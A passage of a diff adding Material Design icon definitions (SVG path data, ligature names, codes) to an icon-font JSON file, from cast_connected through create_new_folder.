86v596c0 46-40 86-86 86h-298v-86h298v-596h-768v128h-86v-128c0-46 40-86 86-86h768zM42 426c258 0 470 210 470 470h-86c0-212-172-384-384-384v-86zM810 298v428h-240c-54-168-188-304-356-358v-70h596zM42 598c166 0 300 132 300 298h-86c0-118-96-214-214-214v-84zM42 768c70 0 128 58 128 128h-128v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cast_connected" + ], + "defaultCode": 58120, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cast_connected", + "id": 141, + "order": 152, + "prevSize": 24, + "code": 58120, + "name": "cast_connected" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 141 + }, + { + "icon": { + "paths": [ + "M810 810v-170h86v170c0 46-40 86-86 86h-170v-86h170zM810 128c46 0 86 40 86 86v170h-86v-170h-170v-86h170zM214 214v170h-86v-170c0-46 40-86 86-86h170v86h-170zM214 640v170h170v86h-170c-46 0-86-40-86-86v-170h86zM512 342c94 0 170 76 170 170s-76 170-170 170-170-76-170-170 76-170 170-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "center_focus_strong" + ], + "defaultCode": 58292, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "center_focus_strong", + "id": 142, + "order": 153, + "prevSize": 24, + "code": 58292, + "name": "center_focus_strong" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 142 + }, + { + "icon": { + "paths": [ + "M512 598c46 0 86-40 86-86s-40-86-86-86-86 40-86 86 40 86 86 86zM512 342c94 0 170 76 170 170s-76 170-170 170-170-76-170-170 76-170 170-170zM810 810v-170h86v170c0 46-40 86-86 86h-170v-86h170zM810 128c46 0 86 40 86 86v170h-86v-170h-170v-86h170zM214 214v170h-86v-170c0-46 40-86 86-86h170v86h-170zM214 640v170h170v86h-170c-46 0-86-40-86-86v-170h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "center_focus_weak" + ], + "defaultCode": 58293, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "center_focus_weak", + "id": 143, + "order": 154, + "prevSize": 24, + "code": 58293, + "name": "center_focus_weak" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 143 + }, + { + "icon": { + "paths": [ + "M512 170l426 684h-852zM512 332l-272 436h544z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "change_history" + ], + "defaultCode": 59499, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "change_history", + "id": 144, + "order": 155, + "prevSize": 24, + "code": 59499, + "name": "change_history" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 144 + }, + { + "icon": { + "paths": [ + "M768 342v-86h-512v86h512zM598 598v-86h-342v86h342zM256 384v86h512v-86h-512zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chat" + ], + "defaultCode": 57527, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "chat", + "id": 145, + "order": 156, + "prevSize": 24, + "code": 57527, + "name": "chat" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 145 + }, + { + "icon": { + "paths": [ + "M854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chat_bubble" + ], + "defaultCode": 57546, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "chat_bubble", + "id": 146, + "order": 157, + "prevSize": 24, + "code": 57546, + "name": "chat_bubble" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 146 + }, + { + "icon": { + "paths": [ + "M854 682v-512h-684v598l86-86h598zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chat_bubble_outline" + ], + "defaultCode": 57547, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "chat_bubble_outline", + "id": 147, + "order": 158, + "prevSize": 24, + "code": 57547, + "name": "chat_bubble_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 147 + }, + { + "icon": { + "paths": [ + "M384 690l452-452 60 60-512 512-238-238 60-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check" + ], + "defaultCode": 58826, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "check", + "id": 148, + "order": 159, + "prevSize": 24, + "code": 58826, + "name": "check2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 148 + }, + { + "icon": { + "paths": [ + "M426 726l384-384-60-62-324 324-152-152-60 60zM810 128c48 0 86 40 86 86v596c0 46-38 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check_box" + ], + "defaultCode": 59444, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "check_box", + "id": 149, + "order": 160, + "prevSize": 24, + "code": 59444, + "name": "check_box" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 149 + }, + { + "icon": { + "paths": [ + "M810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596zM810 214h-596v596h596v-596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check_box_outline_blank" + ], + "defaultCode": 59445, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "check_box_outline_blank", + "id": 150, + "order": 161, + "prevSize": 24, + "code": 59445, + "name": "check_box_outline_blank" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 150 + }, + { + "icon": { + "paths": [ + "M426 726l384-384-60-62-324 324-152-152-60 60zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check_circle" + ], + "defaultCode": 59500, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "check_circle", + "id": 151, + "order": 162, + "prevSize": 24, + "code": 59500, + "name": "check_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 151 + }, + { + "icon": { + "paths": [ + "M658 316l-196 196 196 196-60 60-256-256 256-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "navigate_before" + ], + "defaultCode": 58376, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "chevron_left, navigate_before", + "id": 152, + "order": 163, + "prevSize": 24, + "code": 58376, + "name": "navigate_before" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 152 + }, + { + "icon": { + "paths": [ + "M426 256l256 256-256 256-60-60 196-196-196-196z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "navigate_next" + ], + "defaultCode": 58377, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "chevron_right, navigate_next", + "id": 153, + "order": 164, + "prevSize": 24, + "code": 58377, + "name": "navigate_next" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 153 + }, + { + "icon": { + "paths": [ + "M320 598h384c-32 76-106 128-192 128s-160-52-192-128zM512 810c136.004 0 250.464-89.626 286-214 4 0 8 2 12 2 46 0 86-40 86-86s-40-86-86-86c-4 0-8 2-12 2-35.529-124.35-149.994-214-286-214-136.004 0-250.464 89.626-286 214-4 0-8-2-12-2-46 0-86 40-86 86s40 86 86 86c4 0 8-2 12-2 35.529 124.35 149.994 214 286 214zM978 540c-10 64-56 118-118 136-56.536 118.211-189.668 220-348 220-157.767 0-291.044-100.097-346-220-62-18-110-72-120-136-2-8-4-18-4-28s2-20 4-28c10-64 58-118 120-136 22-48 52-90 92-124 68-60 156-96 254-96 160.584 0 290.218 98.294 346 220 62 18 110 72 120 136 2 8 4 18 4 28s-2 20-4 28zM352 448c0-30 24-54 54-54s52 24 52 54-22 54-52 54-54-24-54-54zM566 448c0-30 22-54 52-54s54 24 54 54-24 54-54 54-52-24-52-54z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "child_care" + ], + "defaultCode": 60225, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "child_care", + "id": 154, + "order": 165, + "prevSize": 24, + "code": 60225, + "name": "child_care" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 154 + }, + { + "icon": { + "paths": [ + "M726 854c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM342 854c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM824 678c30 28 50 68 50 112 0 82-66 148-148 148-76 0-138-56-148-128h-90c-10 72-70 128-146 128-82 0-150-66-150-148 0-56 32-106 78-132-10-14-90-188-90-188h-94v-86h148l40 86h622c0 78-28 150-72 208zM554 86c188 0 342 152 342 340h-342v-340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "child_friendly" + ], + "defaultCode": 60226, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "child_friendly", + "id": 155, + "order": 166, + "prevSize": 24, + "code": 60226, + "name": "child_friendly" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 155 + }, + { + "icon": { + "paths": [ + "M896 810v-554h-384v554h384zM896 170c46 0 86 40 86 86v554c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-554c0-46 40-86 86-86h768zM554 618h300v64h-300v-64zM554 406h300v64h-300v-64zM554 512h300v64h-300v-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chrome_reader_mode" + ], + "defaultCode": 59501, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "chrome_reader_mode", + "id": 156, + "order": 167, + "prevSize": 24, + "code": 59501, + "name": "chrome_reader_mode" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 156 + }, + { + "icon": { + "paths": [ + "M810 274l-238 238 238 238-60 60-238-238-238 238-60-60 238-238-238-238 60-60 238 238 238-238z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "close" + ], + "defaultCode": 58829, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "clear, close", + "id": 157, + "order": 168, + "prevSize": 24, + "code": 58829, + "name": "close2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 157 + }, + { + "icon": { + "paths": [ + "M298 298h598v86h-598v-86zM128 726v-86h598v86h-598zM214 554v-84h596v84h-596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "clear_all" + ], + "defaultCode": 57528, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "clear_all", + "id": 158, + "order": 169, + "prevSize": 24, + "code": 57528, + "name": "clear_all" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 158 + }, + { + "icon": { + "paths": [ + "M768 470v-44c0-24-18-42-42-42h-128c-24 0-44 18-44 42v172c0 24 20 42 44 42h128c24 0 42-18 42-42v-44h-64v22h-86v-128h86v22h64zM470 470v-44c0-24-20-42-44-42h-128c-24 0-42 18-42 42v172c0 24 18 42 42 42h128c24 0 44-18 44-42v-44h-64v22h-86v-128h86v22h64zM810 170c46 0 86 40 86 86v512c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-512c0-46 38-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "closed_caption" + ], + "defaultCode": 57372, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "closed_caption", + "id": 159, + "order": 170, + "prevSize": 24, + "code": 57372, + "name": "closed_caption" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 159 + }, + { + "icon": { + "paths": [ + "M826 428c110 8 198 100 198 212 0 118-96 214-214 214h-554c-142 0-256-114-256-256 0-132 100-240 228-254 54-102 160-174 284-174 156 0 284 110 314 258z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wb_cloudy" + ], + "defaultCode": 58413, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cloud, wb_cloudy", + "id": 160, + "order": 171, + "prevSize": 24, + "code": 58413, + "name": "wb_cloudy" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 160 + }, + { + "icon": { + "paths": [ + "M704 682c58 0 106-48 106-106s-48-106-106-106h-22c0-94-76-172-170-172-80 0-146 56-164 130l-6-2c-70 0-128 58-128 128s58 128 128 128h362zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud_circle" + ], + "defaultCode": 58046, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cloud_circle", + "id": 161, + "order": 172, + "prevSize": 24, + "code": 58046, + "name": "cloud_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 161 + }, + { + "icon": { + "paths": [ + "M426 726l282-282-60-60-222 220-88-88-60 60zM826 428c110 8 198 100 198 212 0 118-96 214-214 214h-554c-142 0-256-114-256-256 0-132 100-240 228-254 54-102 160-174 284-174 156 0 284 110 314 258z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud_done" + ], + "defaultCode": 58047, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cloud_done", + "id": 162, + "order": 173, + "prevSize": 24, + "code": 58047, + "name": "cloud_done" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 162 + }, + { + "icon": { + "paths": [ + "M726 554h-128v-170h-172v170h-128l214 214zM826 428c110 8 198 100 198 212 0 118-96 214-214 214h-554c-142 0-256-114-256-256 0-132 100-240 228-254 54-102 160-174 284-174 156 0 284 110 314 258z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud_download" + ], + "defaultCode": 58048, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cloud_download", + "id": 163, + "order": 174, + "prevSize": 24, + "code": 58048, + "name": "cloud_download" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 163 + }, + { + "icon": { + "paths": [ + "M330 426h-74c-94 0-170 78-170 172s76 170 170 170h416zM128 224l54-54 714 714-54 54-86-84h-500c-142 0-256-114-256-256 0-138 110-250 246-256zM826 428c110 8 198 100 198 212 0 72-36 136-90 174l-62-62c40-22 66-64 66-112 0-70-58-128-128-128h-64v-22c0-130-104-234-234-234-40 0-76 8-108 26l-64-62c50-32 108-50 172-50 156 0 284 110 314 258z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud_off" + ], + "defaultCode": 58049, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cloud_off", + "id": 164, + "order": 175, + "prevSize": 24, + "code": 58049, + "name": "cloud_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 164 + }, + { + "icon": { + "paths": [ + "M810 768c70 0 128-58 128-128s-58-128-128-128h-64v-22c0-130-104-234-234-234-108 0-198 72-226 170h-30c-94 0-170 78-170 172s76 170 170 170h554zM826 428c110 8 198 100 198 212 0 118-96 214-214 214h-554c-142 0-256-114-256-256 0-132 100-240 228-254 54-102 160-174 284-174 156 0 284 110 314 258z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud_queue" + ], + "defaultCode": 58050, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "cloud_queue", + "id": 165, + "order": 176, + "prevSize": 24, + "code": 58050, + "name": "cloud_queue" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 165 + }, + { + "icon": { + "paths": [ + "M622 708l198-196-198-196 60-60 256 256-256 256zM402 708l-60 60-256-256 256-256 60 60-198 196z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "code" + ], + "defaultCode": 59503, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "code", + "id": 166, + "order": 177, + "prevSize": 24, + "code": 59503, + "name": "code2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 166 + }, + { + "icon": { + "paths": [ + "M86 256h84v598h598v84h-598c-46 0-84-38-84-84v-598zM470 512l-128 170h512l-172-212-126 158zM938 682c0 46-38 86-84 86h-512c-46 0-86-40-86-86v-512c0-46 40-84 86-84h512c46 0 84 38 84 84v512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo_library" + ], + "defaultCode": 58387, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "collections, photo_library", + "id": 167, + "order": 178, + "prevSize": 24, + "code": 58387, + "name": "photo_library" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 167 + }, + { + "icon": { + "paths": [ + "M854 512v-342h-214v342l106-64zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-512c-46 0-86-40-86-86v-512c0-46 40-84 86-84h512zM170 256v598h598v84h-598c-46 0-84-38-84-84v-598h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "collections_bookmark" + ], + "defaultCode": 58417, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "collections_bookmark", + "id": 168, + "order": 179, + "prevSize": 24, + "code": 58417, + "name": "collections_bookmark" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 168 + }, + { + "icon": { + "paths": [ + "M746 512c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM618 342c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM406 342c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM278 512c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM512 128c212 0 384 154 384 342 0 118-96 212-214 212h-74c-36 0-64 28-64 64 0 16 6 30 16 42s16 28 16 44c0 36-28 64-64 64-212 0-384-172-384-384s172-384 384-384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "palette" + ], + "defaultCode": 58378, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "color_lens, palette", + "id": 169, + "order": 180, + "prevSize": 24, + "code": 58378, + "name": "palette" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 169 + }, + { + "icon": { + "paths": [ + "M296 810l344-344-82-82-344 344zM884 240c16 16 18 42 0 60l-134 134 82 82-60 60-60-60-382 380h-202v-202l380-382-60-60 60-60 82 82 134-134c16-16 44-16 60 0z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "colorize" + ], + "defaultCode": 58296, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "colorize", + "id": 170, + "order": 181, + "prevSize": 24, + "code": 58296, + "name": "colorize" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 170 + }, + { + "icon": { + "paths": [ + "M768 342v-86h-512v86h512zM768 470v-86h-512v86h512zM768 598v-86h-512v86h512zM938 170v768l-170-170h-598c-46 0-84-40-84-86v-512c0-46 38-84 84-84h684c46 0 84 38 84 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "comment" + ], + "defaultCode": 57529, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "comment", + "id": 171, + "order": 182, + "prevSize": 24, + "code": 57529, + "name": "comment2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 171 + }, + { + "icon": { + "paths": [ + "M810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-212v-384l212 256v-554h-212v-86h212zM426 768v-256l-212 256h212zM426 128v-86h86v940h-86v-86h-212c-46 0-86-40-86-86v-596c0-46 40-86 86-86h212z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "compare" + ], + "defaultCode": 58297, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "compare", + "id": 172, + "order": 183, + "prevSize": 24, + "code": 58297, + "name": "compare" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 172 + }, + { + "icon": { + "paths": [ + "M640 554l-170-170 170-170v128h298v84h-298v128zM384 598v-128l170 170-170 170v-128h-298v-84h298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "compare_arrows" + ], + "defaultCode": 59669, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "compare_arrows", + "id": 173, + "order": 184, + "prevSize": 24, + "code": 59669, + "name": "compare_arrows" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 173 + }, + { + "icon": { + "paths": [ + "M170 256v426h684v-426h-684zM854 768h170v86h-1024v-86h170c-46 0-84-40-84-86v-426c0-46 38-86 84-86h684c46 0 84 40 84 86v426c0 46-38 86-84 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "laptop" + ], + "defaultCode": 58142, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "computer, laptop", + "id": 174, + "order": 185, + "prevSize": 24, + "code": 58142, + "name": "laptop2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 174 + }, + { + "icon": { + "paths": [ + "M554 362v-84h-84v84h84zM554 554v-84h-84v84h84zM554 746v-84h-84v84h84zM938 426c-46 0-84 40-84 86s38 86 84 86v170c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-170c48 0 84-40 84-86s-38-86-84-86v-170c0-48 38-86 84-86h684c46 0 84 38 84 86v170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "confirmation_number" + ], + "defaultCode": 58936, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "confirmation_number", + "id": 175, + "order": 186, + "prevSize": 24, + "code": 58936, + "name": "confirmation_number" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 175 + }, + { + "icon": { + "paths": [ + "M938 512v-256h-340v256h340zM598 768v-42c0-86-170-132-256-132s-256 46-256 132v42h512zM342 256c-70 0-128 58-128 128s58 128 128 128 128-58 128-128-58-128-128-128zM938 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-852c-46 0-86-40-86-86v-596c0-46 40-86 86-86h852zM896 342l-128 84-128-84v-44l128 86 128-86v44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "contact_mail" + ], + "defaultCode": 57552, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "contact_mail", + "id": 176, + "order": 187, + "prevSize": 24, + "code": 57552, + "name": "contact_mail" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 176 + }, + { + "icon": { + "paths": [ + "M762 598c-10-26-16-56-16-86s6-60 16-86h70l64-84-84-86c-56 42-98 100-118 170-8 28-12 56-12 86s4 58 12 86c20 68 62 128 118 170l84-86-64-84h-70zM598 768v-42c0-86-170-132-256-132s-256 46-256 132v42h512zM342 256c-70 0-128 58-128 128s58 128 128 128 128-58 128-128-58-128-128-128zM938 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-852c-46 0-86-40-86-86v-596c0-46 40-86 86-86h852z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "contact_phone" + ], + "defaultCode": 57551, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "contact_phone", + "id": 177, + "order": 188, + "prevSize": 24, + "code": 57551, + "name": "contact_phone" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 177 + }, + { + "icon": { + "paths": [ + "M726 726v-64c0-72-142-108-214-108s-214 36-214 108v64h428zM512 288c-52 0-96 44-96 96s44 96 96 96 96-44 96-96-44-96-96-96zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684zM170 1024v-86h684v86h-684zM854 0v86h-684v-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "contacts" + ], + "defaultCode": 57530, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "contacts", + "id": 178, + "order": 189, + "prevSize": 24, + "code": 57530, + "name": "contacts" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 178 + }, + { + "icon": { + "paths": [ + "M810 896v-598h-468v598h468zM810 214c46 0 86 38 86 84v598c0 46-40 86-86 86h-468c-46 0-86-40-86-86v-598c0-46 40-84 86-84h468zM682 42v86h-512v598h-84v-598c0-46 38-86 84-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "content_copy" + ], + "defaultCode": 57677, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "content_copy", + "id": 179, + "order": 190, + "prevSize": 24, + "code": 57677, + "name": "content_copy" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 179 + }, + { + "icon": { + "paths": [ + "M810 128h128v42l-298 300-86-86zM512 534c12 0 22-10 22-22s-10-22-22-22-22 10-22 22 10 22 22 22zM256 854c46 0 86-38 86-86s-40-86-86-86-86 38-86 86 40 86 86 86zM256 342c46 0 86-38 86-86s-40-86-86-86-86 38-86 86 40 86 86 86zM412 326l526 528v42h-128l-298-298-100 100c10 22 14 44 14 70 0 94-76 170-170 170s-170-76-170-170 76-170 170-170c26 0 48 4 70 14l100-100-100-100c-22 10-44 14-70 14-94 0-170-76-170-170s76-170 170-170 170 76 170 170c0 26-4 48-14 70z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "content_cut" + ], + "defaultCode": 57678, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "content_cut", + "id": 180, + "order": 191, + "prevSize": 24, + "code": 57678, + "name": "content_cut" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 180 + }, + { + "icon": { + "paths": [ + "M810 854v-684h-84v128h-428v-128h-84v684h596zM512 86c-24 0-42 18-42 42s18 42 42 42 42-18 42-42-18-42-42-42zM810 86c46 0 86 38 86 84v684c0 46-40 84-86 84h-596c-46 0-86-38-86-84v-684c0-46 40-84 86-84h178c18-50 64-86 120-86s102 36 120 86h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "content_paste" + ], + "defaultCode": 57679, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "content_paste", + "id": 181, + "order": 192, + "prevSize": 24, + "code": 57679, + "name": "content_paste" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 181 + }, + { + "icon": { + "paths": [ + "M640 810c164 0 298-134 298-298s-134-298-298-298-298 134-298 298 134 298 298 298zM640 128c212 0 384 172 384 384s-172 384-384 384-384-172-384-384 172-384 384-384zM86 512c0 120 68 222 170 270v92c-148-52-256-196-256-362s108-310 256-362v92c-102 48-170 150-170 270zM682 342v128h128v84h-128v128h-84v-128h-128v-84h128v-128h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "control_point_duplicate" + ], + "defaultCode": 58299, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "control_point_duplicate", + "id": 182, + "order": 193, + "prevSize": 24, + "code": 58299, + "name": "control_point_duplicate" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 182 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM506 390c-61.522 0-80 54.457-80 116v12c0 61.538 18.508 116 80 116 37.558 0 70-22.925 70-60h76c0 39.042-21.138 68.404-44 88-25.786 22.102-55.81 36-102 36-109.169 0-164-72.147-164-180v-12c0-51.712 14.52-98.881 40-128 26.398-30.169 68.684-54 124-54 44.274 0 81.256 15.256 104 38 22.005 22.005 42 55.974 42 98h-76c0-10-2-18-6-26s-8-18-14-24c-10.835-10.835-29.352-20-50-20z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "copyright" + ], + "defaultCode": 59660, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "copyright", + "id": 183, + "order": 194, + "prevSize": 24, + "code": 59660, + "name": "copyright2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 183 + }, + { + "icon": { + "paths": [ + "M884 300l-78 78-160-160 78-78c16-16 44-16 60 0l100 100c16 16 16 44 0 60zM128 736l472-472 160 160-472 472h-160v-160z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mode_edit" + ], + "defaultCode": 57940, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "create, edit, mode_edit", + "id": 184, + "order": 195, + "prevSize": 24, + "code": 57940, + "name": "mode_edit" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 184 + }, + { + "icon": { + "paths": [ + "M810 598v-86h-128v-128h-84v128h-128v86h128v128h84v-128h128zM854 256c48 0 84 38 84 86v426c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-512c0-48 36-86 84-86h256l86 86h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "create_new_folder" + ], + "defaultCode": 58060, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "create_new_folder", + "id": 185, + "order": 196, + "prevSize": 24, + "code": 58060, + "name": "create_new_folder" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 185 + }, + { + "icon": { + "paths": [ + "M854 342v-86h-684v86h684zM854 768v-256h-684v256h684zM854 170c48 0 84 38 84 86v512c0 48-36 86-84 86h-684c-48 